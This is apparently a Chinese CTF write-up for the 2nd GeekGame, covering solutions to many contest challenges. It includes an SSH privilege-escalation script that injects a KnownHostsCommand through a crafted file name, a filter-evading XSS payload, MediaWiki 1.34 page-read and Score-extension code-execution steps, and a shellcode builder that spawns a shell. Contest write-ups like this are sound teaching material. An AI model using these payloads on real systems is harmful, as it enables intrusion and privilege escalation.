The 2nd Geekgame writeup

云水遥

Status line (P=Perfect -=None \d=\d/N)

TORI MISC WEB BIN ALGO
PP PPP-P PPP11 PPP-P P1P1P

Let’s roll!

快签到,签和到

虽然 Okular 说 Copy forbidden by DRM,但是按 Ctrl-C 还是可以复制

复制到 flag 字符串,一样分成等长的两行重新排列下

Quiz!

计时 2 分就是用脚本 io speedrun,没什么可说的,就说下各题怎么解的

编译

这里有一个 https://github.com/InvoluteHell/ErrorContest

  1. 放一个很大的全局数组就可以 long [BIG] = 1;
  2. #define template int#include <bits/stdc++.h>
  3. 这个有点难搞,在 bug tracker 里面可以找到一个:
struct foo {
    int n_;
    foo(int n) : n_(n) {}
};
struct bar {
    int n_;
    operator foo() const {
        return foo(n_);
    }
    operator foo &() {
        return *reinterpret_cast<foo *>(n_);
    }
    operator foo const &() = delete;
    void crashgcc() {
        foo tmp(*this);
    }
};

Flag checker

flag1 是 rot13.5 再 base64 解码

flag2 那段乱码开头含有不可见字符,先保存 .java 再复制出去处理

function checkflag2(_0xa83ex2){var _0x724b=['charCodeAt','map','','split','stringify','Correct','Wrong','j-'];return (JSON[_0x724b[4]](_0xa83ex2[_0x724b[3]](_0x724b[2])[_0x724b[1]](function(_0xa83ex3){return _0xa83ex3[_0x724b[0]](0)}))== JSON[_0x724b[4]]([0,15,16,17,30,105,16,31,16,67,3,33,5,60,4,106,6,41,0,1,67,3,16,4,6,33,232][_0x724b[1]](function(_0xa83ex3){return (checkflag2+ _0x724b[2])[_0x724b[0]](_0xa83ex3)}))?_0x724b[5]:_0x724b[6])}

比较输入与预设字符数组在指定下标处是否一致,而这个预设字符数组就是这个函数本身(function 开头直到 })

改写一下运行就得到 flag

UBISOFT Game

这个题目改写自 Defcon 2022 Quals 的 Twisty 源码,是一个 3D 迷宫游戏

随便瞎摁(比如说往一个方向连续冲锋几格)发现可以穿墙

不仅如此,上下也行,但是邪恶出题组加了一行检查,不能让我们直接飞到关底

同时输入两个移动,第一个有效而第二个无效,这时第二个移动仍会执行

问题就出在源码里有一行 CurPos = NewPos 这里进行的是浅复制,如果再对 NewPos 执行 +1,CurPos 也会改动

flag1 第一层使用这个技巧往上飞就会 IndexError

flag2 终点会生成在出生点对面的边上,而且在中间 1/3

用 80 次上升到关底的同时往对面移动,最后一路穿墙到 E

如果出生得太偏,可能是 99 次以内到不了 E 的,直接重开

也可以如他说的一样,开局下到 -1,由于 python 数组索引 -1 就是 len()-1,此时能看到 E 在哪,但是这个状态下标异常,动不了,按 R 回城再操作

特别提权行动 Z

auth_secure_path 函数主要干了这些事情:

不说了,直接放脚本:

cat << EOF > /home/guest/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 400 /home/guest/.ssh/id_rsa
ssh-keygen -y -f /home/guest/.ssh/id_rsa > /home/guest/.ssh/id_rsa.pub
ssh-keygen -y -f /home/guest/.ssh/id_rsa > /home/guest/.ssh/authorized_keys
# 好像有缓存,这里先连一次
ssh -o BatchMode=yes -o StrictHostKeyChecking=no guest@localhost "echo 123"

chmod -R 777 /home/guest
rm /home/guest/.ssh/authorized_keys
cd /home/guest
mkdir -p "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQrf9cgtJKQOHhmENVK3RaJK+30wOPF21V7lSv83RnkC4qaAfuLcOvpPR5LKkQkgehljVBnRqh+JdJ5IRcZiotwqVIMY9Cyy+peN82l0H/54i1Q2K4YwqsNfAFJrRscvn9LYxNpVexo0bhSe/wMQkOH4HCdyli9oeoU6tptUgm37QW8hQo1q01EQVrOHMf3sCPDg7e9ZduB+mfTJMs14FAV7wgjgonHy1IDhqcgJifbkbeakLb9q8hAqY2DKG7ahdy9GubdgJrR9TrpTFJDsLqPPOp3N5ErT/GzZEl/F6ET0EW/qkGLdPNu0+R3zQjIQk3IVcYUU9Lf0owdZ+UZr4Al2VNDLewq9sy7YAORiuDmj4Mx1Ed1S5Fqv0ywcZ3uutpgQF340reeqd6GuBz59LC3Tp27sDptQbZ09tb1ETXAtSX/sGX/STJx98YlKrCQnRUfhW7tDn1uLPM56k+AV"
ln -s /usr/bin/passwd "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQrf9cgtJKQOHhmENVK3RaJK+30wOPF21V7lSv83RnkC4qaAfuLcOvpPR5LKkQkgehljVBnRqh+JdJ5IRcZiotwqVIMY9Cyy+peN82l0H/54i1Q2K4YwqsNfAFJrRscvn9LYxNpVexo0bhSe/wMQkOH4HCdyli9oeoU6tptUgm37QW8hQo1q01EQVrOHMf3sCPDg7e9ZduB+mfTJMs14FAV7wgjgonHy1IDhqcgJifbkbeakLb9q8hAqY2DKG7ahdy9GubdgJrR9TrpTFJDsLqPPOp3N5ErT/GzZEl/F6ET0EW/qkGLdPNu0+R3zQjIQk3IVcYUU9Lf0owdZ+UZr4Al2VNDLewq9sy7YAORiuDmj4Mx1Ed1S5Fqv0ywcZ3uutpgQF340reeqd6GuBz59LC3Tp27sDptQbZ09tb1ETXAtSX/sGX/STJx98YlKrCQnRUfhW7tDn1uLPM56k+AV/3ft4J5YeoEh1LwbRbndVoh+M8mBDN0GZaqtGMqy11X9M="
PATH="$PATH:/home/guest"
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQrf9cgtJKQOHhmENVK3RaJK+30wOPF21V7lSv83RnkC4qaAfuLcOvpPR5LKkQkgehljVBnRqh+JdJ5IRcZiotwqVIMY9Cyy+peN82l0H/54i1Q2K4YwqsNfAFJrRscvn9LYxNpVexo0bhSe/wMQkOH4HCdyli9oeoU6tptUgm37QW8hQo1q01EQVrOHMf3sCPDg7e9ZduB+mfTJMs14FAV7wgjgonHy1IDhqcgJifbkbeakLb9q8hAqY2DKG7ahdy9GubdgJrR9TrpTFJDsLqPPOp3N5ErT/GzZEl/F6ET0EW/qkGLdPNu0+R3zQjIQk3IVcYUU9Lf0owdZ+UZr4Al2VNDLewq9sy7YAORiuDmj4Mx1Ed1S5Fqv0ywcZ3uutpgQF340reeqd6GuBz59LC3Tp27sDptQbZ09tb1ETXAtSX/sGX/STJx98YlKrCQnRUfhW7tDn1uLPM56k+AV/3ft4J5YeoEh1LwbRbndVoh+M8mBDN0GZaqtGMqy11X9M=" &
# 这里要按两下回车

pid=$(ps aux | grep "ssh-rsa" | head -n1 | tr -s ' ' | cut -d' ' -f2)
ln -s /proc/$pid/cmdline /home/guest/.ssh/authorized_keys
chmod 400 /home/guest/.ssh/id_rsa
ssh -o BatchMode=yes -o StrictHostKeyChecking=no admin1@localhost "cat /flag1"

mkdir -p $'Host localhost\nKnownHostsCommand /usr/bin/chmod 777 /'
ln -s /usr/bin/passwd $'Host localhost\nKnownHostsCommand /usr/bin/chmod 777 /flag2'
$'Host localhost\nKnownHostsCommand /usr/bin/chmod 777 /flag2' &
# 同上

pid=$(ps aux | grep "KnownHosts" | head -n1 | tr -s ' ' | cut -d' ' -f2)
ln -s /proc/$pid/cmdline /home/guest/.ssh/config
ssh -o BatchMode=yes -o StrictHostKeyChecking=no admin2@127.0.0.3

这个脚本内容可以分为:

以上脚本如果直接全部输入进去会失败,正确用法是每个注释隔开的内容粘贴进去运行。我实在想不到什么让 passwd 挂着的好办法

私钥是写死的,因为有的公钥两个斜杠之间的内容异常长,创建目录会失败(后记:没必要这么麻烦创建目录,exec 一下就行)

企鹅文档

第一阶段 F12 查看网络,搜索表格中部分内容可以定位到一个 json,所有单元格的内容拼接起来可以得到进入第二步的链接

纠正:只有部分单元格,需要复制请求参数 as fetch 后发送请求,并扩大参数中获取单元格的范围,才能得到完整内容

第二步给了一个所有请求的打包 HAR,有了之前的经验可以搜索 initialAttributedText 找到 json

开头都是一些垃圾内容,根据提示图片,只要恢复其中格子的座标也就是 "x":{"0":1,"3":1} 中的 x

拿到座标列表后发现每行占 11 个格子,用 matplotlib 画出这些点

Totally Not Sponsored By Tencent

XSS

那个 bot 的判断是打开 chrome://omnibox 输入(去除了 http:// 后的)

下面有个 type,代表 chrome 认为这个字符串的类型:URL、query 或 unknown

第一关难点在于他没说这个机器人可以访问外网,但 chrome 对于加载 file/chrome/about 都有限制,可以全部排除

提交 http://u@p:1.1.1.1/ 开头的会被去掉,只检查 u@p:1.1.1.1/ 结果是 query,在某个 IP 放上一个你控制的内容显示标题是他想要的就能拿到 flag1

第二关经过实验 javascript: 后面不能有点,不能有双引号,不能有圆括号。查看 DOM XSS 相关内容可以构造出:

javascript:atob`ZG9jdW1lbnQudGl0bGU9ZG9jdW1lbnQucXVlcnlTZWxlY3RvcignLmZsYWcnKS50ZXh0Q29udGVudCAg`instanceof{[Symbol['hasInstance']]:eval}//

Mediawiki

主页给了几个有用的链接,访问 特殊:版本 会看到是 1.34

https://www.mediawiki.org/wiki/MediaWiki_1.34

这里的 2021-12 security release 提到了 3 个严重的问题,试一下用 undo 读取:

打开首页(因为首页是能看的,Flag页面看不了)编辑页面 ?title=首页&action=edit&undo=##&undoafter=###

其中 ## ### 改成 0, 1, 2 尝试可以得到含有 Flag 页的源码

第二关 Score 插件代码执行,网上可以搜到 PoC 代码,小改一下确实能执行,只有退出码而无回显

如果 ls /XXX 执行成功返回 0,结果就是 0,如果不存在返回 2 结果就是 512

尝试把 flag 复制到 /var/www/html 目录发现可以下载

企业级理解

确实访问 /admin/ 就不用登录了。进去之后,把表单里面 query 也加斜杠,选择最后一个提交可以返回 flag1

其他的,我不会 java

卷!

动态调试,载入就会爆 debugger,但先别急,先 deactivate breakpoint 让他继续跑

发现检查激活会 alert,通过改写 HTML(而不是 js)加入 window.alert = function() { throw 1; }

重新调试按激活就可以 trace 了,直接看变量里面就能找到 flag

其他的没来得及看

简单题

哎呀这不 movfuscator 吗,然而 movfuscator 年久失修直接运行失败,令人感慨

发现 RDX 会保存 shellcode 地址(所有这种执行地址都会编译成 call XXX)

开头先填充一段 NOP(可用 MOV AL, 0 代替),再把这段留出来的空间改写成真正的 shellcode,改写完毕后再把下一条指令的值改写成 JMP RDX 达到任意 shellcode 执行

import struct
from pwn import *
context.arch = "x86_64"

nopnop=asm("mov al,0")
jump=asm("jmp rdx") + b"\0\0"
jumpword = struct.unpack("<I", jump)[0]

sc=bytes.fromhex("31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05" + "00")
dwords = struct.unpack("<IIIIIII", sc)

codes = nopnop * 0x10
for i, dword in enumerate(dwords):
    add = 4*i
    codes += asm(f"mov dword ptr [rdx+{add}], {hex(dword)}")
codes += asm(f"mov dword ptr [rdx+{len(codes)+7}], {hex(jumpword)}")
codes += nopnop * 0x20
print(codes.hex())

你也可以用 nasm 来汇编

TTOWRSS

标题是什么意思,意义不明

IDA 打开找到 check flag 部分发现指令执行顺序是反的,但是他有一点很好就是会 early return,如果发现一个字符对不上就会立即返 false

所以运行这个程序执行的指令数量与输入 flag 正确程度正相关,flag 对得越多,执行指令越多

他的逆序执行是用 rt_sigaction 实现的,对他 strace,输出行数也正相关

综合以上就能写出爆破 flag 的程序,效率还是可以的:

import subprocess as Sp

def test(f: str) -> int:
    completed = Sp.run(["strace", "./prob22-crackme"], \
input=f.encode(), stderr=Sp.PIPE, stdout=Sp.PIPE)
    if b"Good " in completed.stdout:
        print(f"found flag: {f}")
        exit(0)
    return completed.stderr.count(b"\n")

prefix = "flag{}"[:-1]
while True:
    wrong = test(prefix + "()"[0])
    print(f"wrong is {wrong}")
    for c in range(ord(" ")+1, ord("~")+1):
        char = chr(c)
        ins=test(prefix + char)
        if ins > wrong:
            prefix += char
            print(f"ins = {ins}, now is {prefix}")
            break

Cube64

无所谓,我会出手!

千万别看硬件描述语言,那是给人读的东西吗?不能够呀

直接查看 scala 源码。程序使用 chisel 生成 verilog 描述了一种“计算机”

其 ROM 程序翻译为以下内容(三个下划线为 NOP)

z = 0
 y0: ___ ___ ___ ___ ___ ___ ___ I00 jy+ ___ ___ ___ ___ ___ ___ ___
 y1: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt
 y2: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt ___
 y3: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt ___ ___
 y4: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt ___ ___ ___
 y5: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt ___ ___ ___ ___
 y6: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt ___ ___ ___ ___ ___
 y7: ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt ___ ___ ___ ___ ___ ___
 y8: ___ ___ ___ ___ ___ ___ ___ ___ I00 ___ ___ ___ ___ ___ ___ ___
 y9: jy+ ___ ___ ___ ___ ___ ___ ___ Fx- ___ ___ ___ ___ ___ ___ ___
y10: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y11: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y12: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y13: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y14: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y15: jz+ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
z = 1
 y0: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y1: jx+ dup I03 and dup mld I10 xor out dup mld dup I63 mst swp jy-
 y2: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y3: jx+ dup I03 and dup mld I03 xor out dup mld dup I63 mst swp jy-
 y4: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y5: jx+ dup I03 and dup mld I18 xor out dup mld dup I63 mst swp jy-
 y6: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y7: jx+ dup I03 and dup mld I61 xor out dup mld dup I63 mst swp jy-
 y8: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y9: jx+ dup I03 and dup mld I15 xor out dup mld dup I63 mst swp jy-
y10: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y11: jx+ dup I03 and dup mld I20 xor out dup mld dup I63 mst swp jy-
y12: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y13: jx+ dup I03 and dup mld I31 xor out dup mld dup I63 mst swp jy-
y14: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y15: jx+ dup I03 and dup mld I61 xor out dup mld dup I63 mst swp jy-
z = 2
 y0: jx+ dup I03 and dup mld I40 xor out dup mld dup I63 mst swp jy+
 y1: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y2: jx+ dup I03 and dup mld I47 xor out dup mld dup I63 mst swp jy+
 y3: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y4: jx+ dup I03 and dup mld I27 xor out dup mld dup I63 mst swp jy+
 y5: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y6: jx+ dup I03 and dup mld I16 xor out dup mld dup I63 mst swp jy+
 y7: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y8: jx+ dup I03 and dup mld I63 xor out dup mld dup I63 mst swp jy+
 y9: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y10: jx+ dup I03 and dup mld I35 xor out dup mld dup I63 mst swp jy+
y11: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y12: jx+ dup I03 and dup mld I43 xor out dup mld dup I63 mst swp jy+
y13: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y14: jx+ dup I03 and dup mld I13 xor out dup mld dup I63 mst swp jy+
y15: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
z = 3
 y0: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y1: jx+ dup I03 and dup mld I38 xor out dup mld dup I63 mst swp jy-
 y2: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y3: jx+ dup I03 and dup mld I59 xor out dup mld dup I63 mst swp jy-
 y4: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y5: jx+ dup I03 and dup mld I35 xor out dup mld dup I63 mst swp jy-
 y6: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y7: jx+ dup I03 and dup mld I62 xor out dup mld dup I63 mst swp jy-
 y8: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y9: jx+ dup I03 and dup mld I17 xor out dup mld dup I63 mst swp jy-
y10: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y11: jx+ dup I03 and dup mld I19 xor out dup mld dup I63 mst swp jy-
y12: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y13: jx+ dup I03 and dup mld I12 xor out dup mld dup I63 mst swp jy-
y14: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y15: jx+ dup I03 and dup mld I40 xor out dup mld dup I63 mst swp jy-
z = 4
 y0: jx+ dup I03 and dup mld I53 xor out dup mld dup I63 mst swp jy+
 y1: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y2: jx+ dup I03 and dup mld I45 xor out dup mld dup I63 mst swp jy+
 y3: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y4: jx+ dup I03 and dup mld I47 xor out dup mld dup I63 mst swp jy+
 y5: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y6: jx+ dup I03 and dup mld I23 xor out dup mld dup I63 mst swp jy+
 y7: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y8: jx+ dup I03 and dup mld I57 xor out dup mld dup I63 mst swp jy+
 y9: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y10: jx+ dup I03 and dup mld I35 xor out dup mld dup I63 mst swp jy+
y11: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y12: jx+ dup I03 and dup mld I15 xor out dup mld dup I63 mst swp jy+
y13: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y14: jx+ dup I03 and dup mld I38 xor out dup mld dup I63 mst swp jy+
y15: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
z = 5
 y0: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y1: jx+ dup I03 and dup mld I56 xor out dup mld dup I63 mst swp jy-
 y2: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y3: jx+ dup I03 and dup mld I19 xor out dup mld dup I63 mst swp jy-
 y4: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y5: jx+ dup I03 and dup mld I32 xor out dup mld dup I63 mst swp jy-
 y6: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y7: jx+ dup I03 and dup mld I62 xor out dup mld dup I63 mst swp jy-
 y8: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y9: jx+ dup I03 and dup mld I17 xor out dup mld dup I63 mst swp jy-
y10: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y11: jx+ dup I03 and dup mld I11 xor out dup mld dup I63 mst swp jy-
y12: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y13: jx+ dup I03 and dup mld I15 xor out dup mld dup I63 mst swp jy-
y14: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y15: jx+ dup I03 and dup mld I57 xor out dup mld dup I63 mst swp jy-
z = 6
 y0: jx+ dup I03 and dup mld I51 xor out dup mld dup I63 mst swp jy+
 y1: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y2: jx+ dup I03 and dup mld I13 xor out dup mld dup I63 mst swp jy+
 y3: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y4: jx+ dup I03 and dup mld I35 xor out dup mld dup I63 mst swp jy+
 y5: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y6: jx+ dup I03 and dup mld I16 xor out dup mld dup I63 mst swp jy+
 y7: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y8: jx+ dup I03 and dup mld I60 xor out dup mld dup I63 mst swp jy+
 y9: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y10: jx+ dup I03 and dup mld I03 xor out dup mld dup I63 mst swp jy+
y11: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y12: jx+ dup I03 and dup mld I58 xor out dup mld dup I63 mst swp jy+
y13: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y14: jx+ dup I03 and dup mld I15 xor out dup mld dup I63 mst swp jy+
y15: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
z = 7
 y0: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y1: jx+ dup I03 and dup mld I10 xor out dup mld dup I63 mst swp jy-
 y2: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y3: jx+ dup I03 and dup mld I59 xor out dup mld dup I63 mst swp jy-
 y4: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y5: jx+ dup I03 and dup mld I34 xor out dup mld dup I63 mst swp jy-
 y6: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y7: jx+ dup I03 and dup mld I63 xor out dup mld dup I63 mst swp jy-
 y8: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y9: jx+ dup I03 and dup mld I06 xor out dup mld dup I63 mst swp jy-
y10: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y11: jx+ dup I03 and dup mld I19 xor out dup mld dup I63 mst swp jy-
y12: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y13: jx+ dup I03 and dup mld I60 xor out dup mld dup I63 mst swp jy-
y14: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y15: jx+ dup I03 and dup mld I41 xor out dup mld dup I63 mst swp jy-
z = 8
 y0: jx+ dup I03 and dup mld I41 xor out dup mld dup I63 mst swp jy+
 y1: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y2: jx+ dup I03 and dup mld I15 xor out dup mld dup I63 mst swp jy+
 y3: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y4: jx+ dup I03 and dup mld I59 xor out dup mld dup I63 mst swp jy+
 y5: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y6: jx+ dup I03 and dup mld I23 xor out dup mld dup I63 mst swp jy+
 y7: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
 y8: jx+ dup I03 and dup mld I44 xor out dup mld dup I63 mst swp jy+
 y9: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y10: jx+ dup I03 and dup mld I55 xor out dup mld dup I63 mst swp jy+
y11: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y12: jx+ dup I03 and dup mld I43 xor out dup mld dup I63 mst swp jy+
y13: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y14: jx+ dup I03 and dup mld I04 xor out dup mld dup I63 mst swp jy+
y15: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
z = 9
 y0: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
 y1: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
 y2: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
 y3: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
 y4: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
 y5: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
 y6: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
 y7: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
